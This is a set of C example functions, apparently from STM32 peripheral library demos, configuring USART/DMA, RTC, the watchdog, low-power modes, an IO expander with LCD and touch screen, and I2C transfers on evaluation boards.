/** * @brief Main program. * @param None * @retval None */ int main(void) { /* Configure the system clocks */ RCC_Configuration(); /* Initialize Leds and Key Button mounted on STM3210X-EVAL board */ STM_EVAL_LEDInit(LED1); STM_EVAL_LEDInit(LED2); STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED4); STM_EVAL_PBInit(Button_KEY, Mode_EXTI); /* Configures the DMA Channel */ DMA_Configuration(); /* EVAL_COM1 configuration ---------------------------------------------------*/ /* EVAL_COM1 configured as follow: - BaudRate = 115200 baud - Word Length = 8 Bits - One Stop Bit - No parity - Hardware flow control disabled (RTS and CTS signals) - Receive and transmit enabled */ USART_InitStructure.USART_BaudRate = 115200; USART_InitStructure.USART_WordLength = USART_WordLength_8b; USART_InitStructure.USART_StopBits = USART_StopBits_1; USART_InitStructure.USART_Parity = USART_Parity_No; USART_InitStructure.USART_HardwareFlowControl = USART_HardwareFlowControl_None; USART_InitStructure.USART_Mode = USART_Mode_Rx | USART_Mode_Tx; STM_EVAL_COMInit(COM1, &USART_InitStructure); USART_DMACmd(EVAL_COM1, USART_DMAReq_Rx, ENABLE); NVIC_PriorityGroupConfig(NVIC_PriorityGroup_1); /* Enable the USARTy_DMA1_IRQn Interrupt */ NVIC_InitStructure.NVIC_IRQChannel = USARTy_DMA1_IRQn; NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 0; NVIC_InitStructure.NVIC_IRQChannelSubPriority = 0; NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE; NVIC_Init(&NVIC_InitStructure); /* Enable the EXTI9_5 Interrupt */ NVIC_InitStructure.NVIC_IRQChannel = EXTI9_5_IRQn; NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 1; NVIC_Init(&NVIC_InitStructure); while (1) { if(LowPowerMode == 1) { STM_EVAL_LEDOff(LED2); STM_EVAL_LEDOff(LED3); /* Request to enter WFI mode */ __WFI(); LowPowerMode = 0; } Delay(0xFFFFF); STM_EVAL_LEDToggle(LED1); } }
/** * @brief Main program. * @param None * @retval None */ int main(void) { /*!< At this stage the microcontroller clock setting is already configured, this is done through SystemInit() function which is called from startup file (startup_stm32f10x_xx.s) before to branch to application main. To reconfigure the default setting of SystemInit() function, refer to system_stm32f10x.c file */ /* Initialize LED1 mounted on STM3210X-EVAL board */ STM_EVAL_LEDInit(LED1); /* USARTx configured as follow: - BaudRate = 115200 baud - Word Length = 8 Bits - One Stop Bit - No parity - Hardware flow control disabled (RTS and CTS signals) - Receive and transmit enabled */ USART_InitStructure.USART_BaudRate = 115200; USART_InitStructure.USART_WordLength = USART_WordLength_8b; USART_InitStructure.USART_StopBits = USART_StopBits_1; USART_InitStructure.USART_Parity = USART_Parity_No; USART_InitStructure.USART_HardwareFlowControl = USART_HardwareFlowControl_None; USART_InitStructure.USART_Mode = USART_Mode_Rx | USART_Mode_Tx; STM_EVAL_COMInit(COM1, &USART_InitStructure); /* NVIC configuration */ NVIC_Configuration(); if (BKP_ReadBackupRegister(BKP_DR1) != 0xA5A5) { /* Backup data register value is not correct or not yet programmed (when the first time the program is executed) */ printf("\r\n\n RTC not yet configured...."); /* RTC Configuration */ RTC_Configuration(); printf("\r\n RTC configured...."); /* Adjust time by values entered by the user on the hyperterminal */ Time_Adjust(); BKP_WriteBackupRegister(BKP_DR1, 0xA5A5); } else { /* Check if the Power On Reset flag is set */ if (RCC_GetFlagStatus(RCC_FLAG_PORRST) != RESET) { printf("\r\n\n Power On Reset occurred...."); } /* Check if the Pin Reset flag is set */ else if (RCC_GetFlagStatus(RCC_FLAG_PINRST) != RESET) { printf("\r\n\n External Reset occurred...."); } printf("\r\n No need to configure RTC...."); /* Wait for RTC registers synchronization */ RTC_WaitForSynchro(); /* Enable the RTC Second */ RTC_ITConfig(RTC_IT_SEC, ENABLE); /* Wait until last write operation on RTC registers has finished */ RTC_WaitForLastTask(); } #ifdef RTCClockOutput_Enable /* Enable PWR and BKP clocks */ RCC_APB1PeriphClockCmd(RCC_APB1Periph_PWR | RCC_APB1Periph_BKP, ENABLE); /* Allow access to BKP Domain */ PWR_BackupAccessCmd(ENABLE); /* Disable the Tamper Pin */ BKP_TamperPinCmd(DISABLE); /* To output RTCCLK/64 on Tamper pin, the tamper functionality must be disabled */ /* Enable RTC Clock Output on Tamper Pin */ BKP_RTCOutputConfig(BKP_RTCOutputSource_CalibClock); #endif /* Clear reset flags */ RCC_ClearFlag(); /* Display time in infinite loop */ Time_Show(); }
/** * @brief Main program * @param None * @retval None */ int main(void) { /*!< At this stage the microcontroller clock setting is already configured, this is done through SystemInit() function which is called from startup file (startup_stm32f4xx.s) before to branch to application main. To reconfigure the default setting of SystemInit() function, refer to system_stm32f4xx.c file */ /* Initialize LED1, LED2 and Key Button mounted on STM324xG-EVAL board */ STM_EVAL_LEDInit(LED1); STM_EVAL_LEDInit(LED2); STM_EVAL_PBInit(BUTTON_WAKEUP, BUTTON_MODE_EXTI); /* Setup SysTick Timer for 1 msec interrupts */ if (SysTick_Config(SystemCoreClock / 1000)) { /* Capture error */ while (1); } /* Check if the system has resumed from IWDG reset */ if (RCC_GetFlagStatus(RCC_FLAG_IWDGRST) != RESET) { /* IWDGRST flag set */ /* Turn on LED1 */ STM_EVAL_LEDOn(LED1); /* Clear reset flags */ RCC_ClearFlag(); } else { /* IWDGRST flag is not set */ /* Turn off LED1 */ STM_EVAL_LEDOff(LED1); } /* Get the LSI frequency: TIM5 is used to measure the LSI frequency */ LsiFreq = GetLSIFrequency(); /* IWDG timeout equal to 250 ms (the timeout may varies due to LSI frequency dispersion) */ /* Enable write access to IWDG_PR and IWDG_RLR registers */ IWDG_WriteAccessCmd(IWDG_WriteAccess_Enable); /* IWDG counter clock: LSI/32 */ IWDG_SetPrescaler(IWDG_Prescaler_32); /* Set counter reload value to obtain 250ms IWDG TimeOut. Counter Reload Value = 250ms/IWDG counter clock period = 250ms / (LSI/32) = 0.25s / (LsiFreq/32) = LsiFreq/(32 * 4) = LsiFreq/128 */ IWDG_SetReload(LsiFreq/128); /* Reload IWDG counter */ IWDG_ReloadCounter(); /* Enable IWDG (the LSI oscillator will be enabled by hardware) */ IWDG_Enable(); while (1) { /* Toggle LED2 */ STM_EVAL_LEDToggle(LED2); /* Insert 240 ms delay */ Delay(240); /* Reload IWDG counter */ IWDG_ReloadCounter(); } }
/** * @brief This function configures the system to enter Stop mode with RTC * clocked by LSE or LSI for current consumption measurement purpose. * STOP Mode with RTC clocked by LSE/LSI * ===================================== * - RTC Clocked by LSE or LSI * - Regulator in LP mode * - HSI, HSE OFF and LSI OFF if not used as RTC Clock source * - No IWDG * - FLASH in deep power down mode * - Automatic Wakeup using RTC clocked by LSE/LSI (~20s) * @param None * @retval None */ void StopMode_Measure(void) { __IO uint32_t index = 0; GPIO_InitTypeDef GPIO_InitStructure; NVIC_InitTypeDef NVIC_InitStructure; EXTI_InitTypeDef EXTI_InitStructure; /* Allow access to RTC */ PWR_BackupAccessCmd(ENABLE); #if defined (RTC_CLOCK_SOURCE_LSI) /* LSI used as RTC source clock*/ /* The RTC Clock may varies due to LSI frequency dispersion. */ /* Enable the LSI OSC */ RCC_LSICmd(ENABLE); /* Wait till LSI is ready */ while(RCC_GetFlagStatus(RCC_FLAG_LSIRDY) == RESET) { } /* Select the RTC Clock Source */ RCC_RTCCLKConfig(RCC_RTCCLKSource_LSI); #elif defined (RTC_CLOCK_SOURCE_LSE) /* LSE used as RTC source clock */ /* Enable the LSE OSC */ RCC_LSEConfig(RCC_LSE_ON); /* Wait till LSE is ready */ while(RCC_GetFlagStatus(RCC_FLAG_LSERDY) == RESET) { } /* Select the RTC Clock Source */ RCC_RTCCLKConfig(RCC_RTCCLKSource_LSE); #else #error Please select the RTC Clock source inside the main.c file #endif /* RTC_CLOCK_SOURCE_LSI */ /* Enable the RTC Clock */ RCC_RTCCLKCmd(ENABLE); /* Wait for RTC APB registers synchronisation */ RTC_WaitForSynchro(); /* Configure all GPIO as analog to reduce current consumption on non used IOs */ /* Enable GPIOs clock */ RCC_AHB1PeriphClockCmd(RCC_AHB1Periph_GPIOA | RCC_AHB1Periph_GPIOB | RCC_AHB1Periph_GPIOC | RCC_AHB1Periph_GPIOD | RCC_AHB1Periph_GPIOE | RCC_AHB1Periph_GPIOF | RCC_AHB1Periph_GPIOG | RCC_AHB1Periph_GPIOH | RCC_AHB1Periph_GPIOI, ENABLE); GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AN; GPIO_InitStructure.GPIO_Speed = GPIO_Speed_100MHz; GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_NOPULL; GPIO_InitStructure.GPIO_Pin = GPIO_Pin_All; GPIO_Init(GPIOC, &GPIO_InitStructure); GPIO_Init(GPIOD, &GPIO_InitStructure); GPIO_Init(GPIOE, &GPIO_InitStructure); GPIO_Init(GPIOF, &GPIO_InitStructure); GPIO_Init(GPIOG, &GPIO_InitStructure); GPIO_Init(GPIOH, &GPIO_InitStructure); GPIO_Init(GPIOI, &GPIO_InitStructure); GPIO_Init(GPIOA, &GPIO_InitStructure); GPIO_Init(GPIOB, &GPIO_InitStructure); /* Disable GPIOs clock */ RCC_AHB1PeriphClockCmd(RCC_AHB1Periph_GPIOA | RCC_AHB1Periph_GPIOB | RCC_AHB1Periph_GPIOC | RCC_AHB1Periph_GPIOD | RCC_AHB1Periph_GPIOE | RCC_AHB1Periph_GPIOF | RCC_AHB1Periph_GPIOG | RCC_AHB1Periph_GPIOH | RCC_AHB1Periph_GPIOI, DISABLE); /* EXTI configuration *******************************************************/ EXTI_ClearITPendingBit(EXTI_Line22); EXTI_InitStructure.EXTI_Line = EXTI_Line22; EXTI_InitStructure.EXTI_Mode = EXTI_Mode_Interrupt; EXTI_InitStructure.EXTI_Trigger = EXTI_Trigger_Rising; EXTI_InitStructure.EXTI_LineCmd = ENABLE; EXTI_Init(&EXTI_InitStructure); /* Enable the RTC Wakeup Interrupt */ NVIC_InitStructure.NVIC_IRQChannel = RTC_WKUP_IRQn; NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 0; NVIC_InitStructure.NVIC_IRQChannelSubPriority = 0; NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE; NVIC_Init(&NVIC_InitStructure); /* RTC Wakeup Interrupt Generation: Clock Source: RTCCLK_Div16, Wakeup Time Base: ~20s RTC Clock Source LSE 32.768KHz or LSI ~32KHz Wakeup Time Base = (16 / (LSE or LSI)) * WakeUpCounter */ RTC_WakeUpClockConfig(RTC_WakeUpClock_RTCCLK_Div16); RTC_SetWakeUpCounter(0xA000-1); /* Enable the Wakeup Interrupt */ RTC_ITConfig(RTC_IT_WUT, ENABLE); /* Enable Wakeup Counter */ RTC_WakeUpCmd(ENABLE); /* FLASH Deep Power Down Mode enabled */ PWR_FlashPowerDownCmd(ENABLE); /* Enter Stop Mode */ PWR_EnterSTOPMode(PWR_Regulator_LowPower, PWR_STOPEntry_WFI); /* Initialize LED1 on EVAL board */ STM_EVAL_LEDInit(LED1); /* Infinite loop */ while (1) { /* Toggle The LED1 */ STM_EVAL_LEDToggle(LED1); /* Inserted Delay */ for(index = 0; index < 0x5FF; index++); } }
/** * @brief Main program * @param None * @retval None */ int main(void) { /*!< At this stage the microcontroller clock setting is already configured, this is done through SystemInit() function which is called from startup files (startup_stm32f40_41xxx.s/startup_stm32f427_437xx.s/startup_stm32f429_439xx.s) before to branch to application main. */ /* SysTick end of count event each 10ms */ RCC_GetClocksFreq(&RCC_Clocks); SysTick_Config(RCC_Clocks.HCLK_Frequency / 100); /* Initialize LEDs mounted on EVAL board */ STM_EVAL_LEDInit(LED1); STM_EVAL_LEDInit(LED2); STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED4); /* Select the Button test mode (polling or interrupt) BUTTON_MODE in main.h */ STM_EVAL_PBInit(BUTTON_WAKEUP, BUTTON_MODE); STM_EVAL_PBInit(BUTTON_TAMPER, BUTTON_MODE); /* Initialize the LCD */ LCD_Init(); /* Initialize the LCD Layers */ LCD_LayerInit(); /* Enable LCD display */ LCD_DisplayOn(); /* Set foreground layer */ LCD_SetLayer(LCD_FOREGROUND_LAYER); /* Clear the LCD */ LCD_Clear(White); /* Set the LCD Back Color */ LCD_SetBackColor(White); /* Set the LCD Text Color */ LCD_SetTextColor(Blue); LCD_DisplayStringLine(LCD_LINE_0, (uint8_t *)" STM324x9I-EVAL "); LCD_DisplayStringLine(LCD_LINE_1, (uint8_t *)" Example on how to "); LCD_DisplayStringLine(LCD_LINE_2, (uint8_t *)" use the IO Expander "); /* Configure the IO Expander */ if (IOE_Config() == IOE_OK && IOE16_Config() == IOE16_OK) { LCD_DisplayStringLine(LCD_LINE_3, (uint8_t *)" IO Expander OK "); } else { LCD_DisplayStringLine(LCD_LINE_4, (uint8_t *)"IO Expander FAILED "); LCD_DisplayStringLine(LCD_LINE_5, (uint8_t *)" Please Reset the "); LCD_DisplayStringLine(LCD_LINE_6, (uint8_t *)" board and start "); LCD_DisplayStringLine(LCD_LINE_7, (uint8_t *)" again "); while(1); } /* LEDs Control blocks */ LCD_SetTextColor(Blue); LCD_DrawRect(310, 180, 40, 60); LCD_SetTextColor(Red); LCD_DrawRect(230, 180, 40, 60); LCD_SetTextColor(Yellow); LCD_DrawRect(150, 180, 40, 60); LCD_SetTextColor(Green); LCD_DrawRect(70, 180, 40, 60); #ifdef IOE_INTERRUPT_MODE /* Configure motherboard interrupt source IO_EXP4 */ IOE16_IOPinConfig(IOE16_TS_IT,Direction_IN); IOE16_ITConfig(IOE16_TS_IT); /* Enable joystick interrupt */ IOE16_ITConfig(JOY_IO16_PINS); /* Enable the Touch Screen interrupt */ IOE_TSITConfig(); /* Read IOs state to let IO interrupt occur */ IOE16_I2C_ReadDeviceRegister(IOE16_REG_GPMR_LSB); IOE16_I2C_ReadDeviceRegister(IOE16_REG_GPMR_MSB); #endif /* IOE_INTERRUPT_MODE */ while(1) { #ifdef IOE_POLLING_MODE static JOY_State_TypeDef JoyState = JOY_NONE; static TS_STATE* TS_State; /* Get the Joystick State */ JoyState = IOE16_JoyStickGetState(); /* Set the LCD Text Color */ LCD_SetTextColor(Blue); switch (JoyState) { case JOY_NONE: LCD_DisplayStringLine(LCD_LINE_5, (uint8_t *)"JOY: ---- "); break; case JOY_UP: LCD_DisplayStringLine(LCD_LINE_5, (uint8_t *)"JOY: UP "); break; case JOY_DOWN: LCD_DisplayStringLine(LCD_LINE_5, (uint8_t *)"JOY: DOWN "); break; case JOY_LEFT: LCD_DisplayStringLine(LCD_LINE_5, (uint8_t *)"JOY: LEFT "); break; case JOY_RIGHT: LCD_DisplayStringLine(LCD_LINE_5, (uint8_t *)"JOY: RIGHT "); break; case JOY_CENTER: LCD_DisplayStringLine(LCD_LINE_5, (uint8_t *)"JOY: CENTER "); break; default: LCD_DisplayStringLine(LCD_LINE_5, (uint8_t *)"JOY: ERROR "); break; } /* Update the structure with the current position */ TS_State = IOE_TS_GetState(); if ((TS_State->TouchDetected) && (TS_State->Y < 92) && (TS_State->Y > 52)) { if ((TS_State->X > 60) && (TS_State->X < 120)) { LCD_SetTextColor(LCD_COLOR_GREEN); LCD_DisplayStringLine(LCD_LINE_10, (uint8_t *)" LD1 "); STM_EVAL_LEDOn(LED1); } else if ((TS_State->X > 140) && (TS_State->X < 200)) { LCD_SetTextColor(LCD_COLOR_YELLOW); LCD_DisplayStringLine(LCD_LINE_10, (uint8_t *)" LD2 "); STM_EVAL_LEDOn(LED2); } else if ((TS_State->X > 220) && (TS_State->X < 280)) { LCD_SetTextColor(LCD_COLOR_RED); LCD_DisplayStringLine(LCD_LINE_10, (uint8_t *)" LD3 "); STM_EVAL_LEDOn(LED3); } else if ((TS_State->X > 300) && (TS_State->X < 360)) { LCD_SetTextColor(LCD_COLOR_BLUE); LCD_DisplayStringLine(LCD_LINE_10, (uint8_t *)" LD4 "); STM_EVAL_LEDOn(LED4); } } else { STM_EVAL_LEDOff(LED1); STM_EVAL_LEDOff(LED2); STM_EVAL_LEDOff(LED3); STM_EVAL_LEDOff(LED4); } #endif /* IOE_POLLING_MODE */ #ifdef BUTTON_POLLING_MODE /* Insert 10 ms delay */ Delay(1); /* Set the LCD Text Color */ LCD_SetTextColor(Blue); if (STM_EVAL_PBGetState(BUTTON_TAMPER) == 0) { /* Toggle LD2 */ STM_EVAL_LEDToggle(LED2); LCD_DisplayStringLine(LCD_LINE_4, (uint8_t *)"Pol: TAMPER/KEY Pressed "); } if (STM_EVAL_PBGetState(BUTTON_WAKEUP) != 0) { /* Toggle LD3 */ STM_EVAL_LEDToggle(LED3); LCD_DisplayStringLine(LCD_LINE_4, (uint8_t *)"Pol: WAKEUP Pressed "); } #endif } }
/** * @brief Main program. * @param None * @retval None */ int main(void) { /*!< At this stage the microcontroller clock setting is already configured, this is done through SystemInit() function which is called from startup file (startup_stm32f0xx.s) before to branch to application main. To reconfigure the default setting of SystemInit() function, refer to system_stm32f0xx.c file */ /* Configure Joystick SEL Button */ STM_EVAL_PBInit(BUTTON_SEL,BUTTON_MODE_GPIO); /* Loop while Joystick SEL button is maintained pressed */ while(STM_EVAL_PBGetState(BUTTON_SEL) != RESET) { } /* Enable PWR APB1 Clock */ RCC_APB1PeriphClockCmd(RCC_APB1Periph_PWR, ENABLE); /* Allow access to Backup */ PWR_BackupAccessCmd(ENABLE); /* Reset RTC Domain */ RCC_BackupResetCmd(ENABLE); RCC_BackupResetCmd(DISABLE); /* Loop while Joystick SEL button is maintained pressed */ while(STM_EVAL_PBGetState(BUTTON_SEL) != RESET) { } /* Loop while Joystick SEL button is maintained pressed */ while(STM_EVAL_PBGetState(BUTTON_SEL) == RESET) { } #if defined (SLEEP_MODE) /* Sleep Mode Entry - System Running at PLL (48MHz) - Flash 3 wait state - Prefetch and Cache enabled - Code running from Internal FLASH - All peripherals disabled. - Wakeup using EXTI Line (Joystick SEL Button PA.00) */ SleepMode_Measure(); #elif defined (STOP_MODE) /* STOP Mode Entry - RTC Clocked by LSI - Regulator in LP mode - HSI, HSE OFF and LSI OFF if not used as RTC Clock source - No IWDG - FLASH in deep power down mode - Automatic Wakeup using RTC clocked by LSI */ StopMode_Measure(); #elif defined (STANDBY_MODE) /* STANDBY Mode Entry - RTC OFF - IWDG and LSI OFF - Wakeup using WakeUp Pin 2(PC.13) */ StandbyMode_Measure(); #elif defined (STANDBY_RTC_MODE) /* STANDBY Mode with RTC on LSI Entry - RTC Clocked by LSI - IWDG OFF and LSI OFF if not used as RTC Clock source - Automatic Wakeup using RTC clocked by LSI */ StandbyRTCMode_Measure(); #else /* Initialize LED3 on EVAL board */ STM_EVAL_LEDInit(LED3); /* Infinite loop */ while (1) { /* Toggle The LED3 */ STM_EVAL_LEDToggle(LED3); /* Inserted Delay */ for(i = 0; i < 0x7FFF; i++); } #endif }
/** * @brief Main program * @param None * @retval None */ int main(void) { /*!< At this stage the microcontroller clock setting is already configured, this is done through SystemInit() function which is called from startup file (startup_stm32l1xx_xx.s) before to branch to application main. To reconfigure the default setting of SystemInit() function, refer to system_stm32l1xx.c file */ /* I2C configuration -------------------------------------------------------*/ I2C_Config(); /* Initialize LEDs mounted on STM32L152-EVAL board */ STM_EVAL_LEDInit(LED1); STM_EVAL_LEDInit(LED2); STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED4); /* SysTick configuration --------------------------------------------------*/ SysTickConfig(); /* Clear the RxBuffer */ Fill_Buffer(RxBuffer, RXBUFFERSIZE); /*************************************Master Code****************************/ #if defined (I2C_MASTER) /*!< I2C Struct Initialize */ I2C_InitStructure.I2C_Mode = I2C_Mode_I2C; I2C_InitStructure.I2C_DutyCycle = I2C_DUTYCYCLE; I2C_InitStructure.I2C_OwnAddress1 = 0xA0; I2C_InitStructure.I2C_Ack = I2C_Ack_Enable; I2C_InitStructure.I2C_ClockSpeed = I2C_SPEED; #ifndef I2C_10BITS_ADDRESS I2C_InitStructure.I2C_AcknowledgedAddress = I2C_AcknowledgedAddress_7bit; #else I2C_InitStructure.I2C_AcknowledgedAddress = I2C_AcknowledgedAddress_10bit; #endif /* I2C_10BITS_ADDRESS */ /*!< I2C Initialize */ I2C_Init(I2Cx, &I2C_InitStructure); /*Master Transmitter--------------------------------------------------------*/ /* Send I2Cx START condition */ I2C_GenerateSTART(I2Cx, ENABLE); #ifdef I2C_10BITS_ADDRESS /* Test on I2C1 EV5 and clear it */ TimeOut = USER_TIMEOUT; while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_MODE_SELECT))&&(TimeOut != 0x00)) {} if(TimeOut == 0) { TimeOut_UserCallback(); } /* Send Header to I2Cx for write or time out */ I2C_SendData(I2Cx, HEADER_ADDRESS_Write); /* Test on I2Cx EV9 and clear it */ TimeOut = USER_TIMEOUT; while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_MODE_ADDRESS10))&&(TimeOut != 0x00)) {} if(TimeOut == 0) { TimeOut_UserCallback(); } /* Send I2Cx slave Address for write */ I2C_Send7bitAddress(I2Cx, (uint8_t)SLAVE_ADDRESS, I2C_Direction_Transmitter); #else /* I2C_7BITS_ADDRESS */ /* Test on I2Cx EV5 and clear it or time out */ TimeOut = USER_TIMEOUT; while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_MODE_SELECT))&&(TimeOut != 0x00)) {} if(TimeOut == 0) { TimeOut_UserCallback(); } /* Send I2Cx slave Address for write */ I2C_Send7bitAddress(I2Cx, SLAVE_ADDRESS, I2C_Direction_Transmitter); #endif /* I2C_10BITS_ADDRESS */ /* Test on I2Cx EV6 and clear it or time out */ TimeOut = USER_TIMEOUT; while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_TRANSMITTER_MODE_SELECTED))&&(TimeOut != 0x00)) {} if(TimeOut == 0) { TimeOut_UserCallback(); } /* I2Cx DMA Enable */ I2C_DMACmd(I2Cx, ENABLE); /* Transfer complete or time out */ TimeOut = USER_TIMEOUT; while ((DMA_GetFlagStatus(I2Cx_TX_DMA_FLAG_TC) == RESET)&&(TimeOut != 0x00)) {} if(TimeOut == 0) { TimeOut_UserCallback(); } /* I2Cx DMA Disable */ I2C_DMACmd(I2Cx, DISABLE); /* Wait until BTF Flag is set before generating STOP or time out */ TimeOut = USER_TIMEOUT; while ((!I2C_GetFlagStatus(I2Cx,I2C_FLAG_BTF))&&(TimeOut != 0x00)) {} if(TimeOut == 0) { TimeOut_UserCallback(); } /* Send I2Cx STOP Condition */ I2C_GenerateSTOP(I2Cx, ENABLE); /* Disable DMA TX Channel */ DMA_Cmd(I2Cx_TX_DMA_CHANNEL, DISABLE); /* Clear DMA TX Transfer Complete Flag */ DMA_ClearFlag(I2Cx_TX_DMA_FLAG_GL); /*Master Receiver------------------------------------------------------------*/ /* Enable DMA NACK automatic generation */ I2C_DMALastTransferCmd(I2Cx, ENABLE); /* Send I2Cx START condition */ I2C_GenerateSTART(I2Cx, ENABLE); #ifdef I2C_10BITS_ADDRESS /* Test on EV5 and clear it or time out */ TimeOut = USER_TIMEOUT; while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_MODE_SELECT))&&(TimeOut != 0x00)) {} if(TimeOut == 0) { TimeOut_UserCallback(); } /* Send Header to Slave for write */ I2C_SendData(I2Cx, HEADER_ADDRESS_Write); /* Test on EV9 and clear it or time out */ TimeOut = USER_TIMEOUT; while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_MODE_ADDRESS10))&&(TimeOut != 0x00)) {} if(TimeOut == 0) { TimeOut_UserCallback(); } /* Send slave Address */ I2C_Send7bitAddress(I2Cx, (uint8_t)SLAVE_ADDRESS, I2C_Direction_Transmitter); /* Test on I2Cx EV6 and clear it or time out*/ TimeOut = USER_TIMEOUT; while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_TRANSMITTER_MODE_SELECTED))&&(TimeOut != 0x00)) {} if(TimeOut == 0) { TimeOut_UserCallback(); } /* Repeated Start */ I2C_GenerateSTART(I2Cx, ENABLE); /* Test on EV5 and clear it or time out*/ TimeOut = USER_TIMEOUT; while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_MODE_SELECT))&&(TimeOut != 0x00)) {} if(TimeOut == 0) { TimeOut_UserCallback(); } /* Send Header to Slave for Read */ I2C_SendData(I2Cx, HEADER_ADDRESS_Read); #else /* I2C_7BITS_ADDRESS */ /* Test on I2Cx EV5 and clear it or time out*/ TimeOut = USER_TIMEOUT; while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_MODE_SELECT))&&(TimeOut != 0x00)) {} if(TimeOut == 0) { TimeOut_UserCallback(); } /* Send I2Cx slave Address for write */ I2C_Send7bitAddress(I2Cx, SLAVE_ADDRESS, I2C_Direction_Receiver); #endif /* I2C_10BITS_ADDRESS */ /* Test on I2Cx EV6 and clear it or time out */ TimeOut = USER_TIMEOUT; while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_RECEIVER_MODE_SELECTED))&&(TimeOut != 0x00)) {} if(TimeOut == 0) { TimeOut_UserCallback(); } /* I2Cx DMA Enable */ I2C_DMACmd(I2Cx, ENABLE); /* Transfer complete or time out */ TimeOut = USER_TIMEOUT; while ((DMA_GetFlagStatus(I2Cx_RX_DMA_FLAG_TC)==RESET)&&(TimeOut != 0x00)) {} if(TimeOut == 0) { TimeOut_UserCallback(); } /* Send I2Cx STOP Condition */ I2C_GenerateSTOP(I2Cx, ENABLE); /* Disable DMA TX Channel */ DMA_Cmd(I2Cx_TX_DMA_CHANNEL, DISABLE); /* I2Cx DMA Disable */ I2C_DMACmd(I2Cx, DISABLE); /* Clear DMA TX Transfer Complete Flag */ DMA_ClearFlag(I2Cx_TX_DMA_FLAG_GL); if (Buffercmp(TxBuffer, RxBuffer, RXBUFFERSIZE) == PASSED) { /* LED2, LED3 and LED4 Toggle */ STM_EVAL_LEDOn(LED2); STM_EVAL_LEDOn(LED3); STM_EVAL_LEDOn(LED4); } else { /* ED2, LED3 and LED4 On */ STM_EVAL_LEDOff(LED2); STM_EVAL_LEDOff(LED3); STM_EVAL_LEDOff(LED4); } #endif /* I2C_MASTER */ /**********************************Slave Code**********************************/ #if defined (I2C_SLAVE) /* Initialize I2C peripheral */ /*!< I2C Init */ I2C_InitStructure.I2C_Mode = I2C_Mode_I2C; I2C_InitStructure.I2C_DutyCycle = I2C_DUTYCYCLE; I2C_InitStructure.I2C_OwnAddress1 = SLAVE_ADDRESS; I2C_InitStructure.I2C_Ack = I2C_Ack_Enable; I2C_InitStructure.I2C_ClockSpeed = I2C_SPEED; #ifndef I2C_10BITS_ADDRESS I2C_InitStructure.I2C_AcknowledgedAddress = I2C_AcknowledgedAddress_7bit; #else I2C_InitStructure.I2C_AcknowledgedAddress = I2C_AcknowledgedAddress_10bit; #endif /* I2C_10BITS_ADDRESS */ I2C_Init(I2Cx, &I2C_InitStructure); /*Slave Receiver--------------------------------------------------------------*/ /* Test on I2C EV1 and clear it */ while (!I2C_CheckEvent(I2Cx, I2C_EVENT_SLAVE_RECEIVER_ADDRESS_MATCHED)) {} /* I2Cx DMA Enable */ I2C_DMACmd(I2Cx, ENABLE); /* Transfer complete or time out */ TimeOut = USER_TIMEOUT; while ((DMA_GetFlagStatus(I2Cx_RX_DMA_FLAG_TC)== RESET) &&(TimeOut != 0x00)) {} if(TimeOut == 0) { TimeOut_UserCallback(); } /* Test on I2Cx EV4 and clear it or time out */ TimeOut = USER_TIMEOUT; while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_SLAVE_STOP_DETECTED))&&(TimeOut != 0x00)) {} if(TimeOut == 0) { TimeOut_UserCallback(); } /*Slave Transmitter-----------------------------------------------------------*/ /* Test on I2C EV1 and clear it or time out*/ while (!I2C_CheckEvent(I2Cx, I2C_EVENT_SLAVE_TRANSMITTER_ADDRESS_MATCHED)) {} /* I2Cx DMA Enable */ I2C_DMACmd(I2Cx, ENABLE); /* Transfer complete or time out */ TimeOut = USER_TIMEOUT; while ((DMA_GetFlagStatus(I2Cx_TX_DMA_FLAG_TC)== RESET)&&(TimeOut != 0x00)) {} if(TimeOut == 0) { TimeOut_UserCallback(); } /* Test on I2Cx EV3-2 and clear it or time out */ TimeOut = USER_TIMEOUT; while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_SLAVE_ACK_FAILURE))&&(TimeOut != 0x00)) {} if(TimeOut == 0) { TimeOut_UserCallback(); } if (Buffercmp(TxBuffer, RxBuffer, RXBUFFERSIZE) == PASSED) { /* LED2, LED3 and LED4 Toggle */ STM_EVAL_LEDOn(LED2); STM_EVAL_LEDOn(LED3); STM_EVAL_LEDOn(LED4); } else { /* ED2, LED3 and LED4 On */ STM_EVAL_LEDOff(LED2); STM_EVAL_LEDOff(LED3); STM_EVAL_LEDOff(LED4); } #endif /* I2C_SLAVE */ while(1) {} }
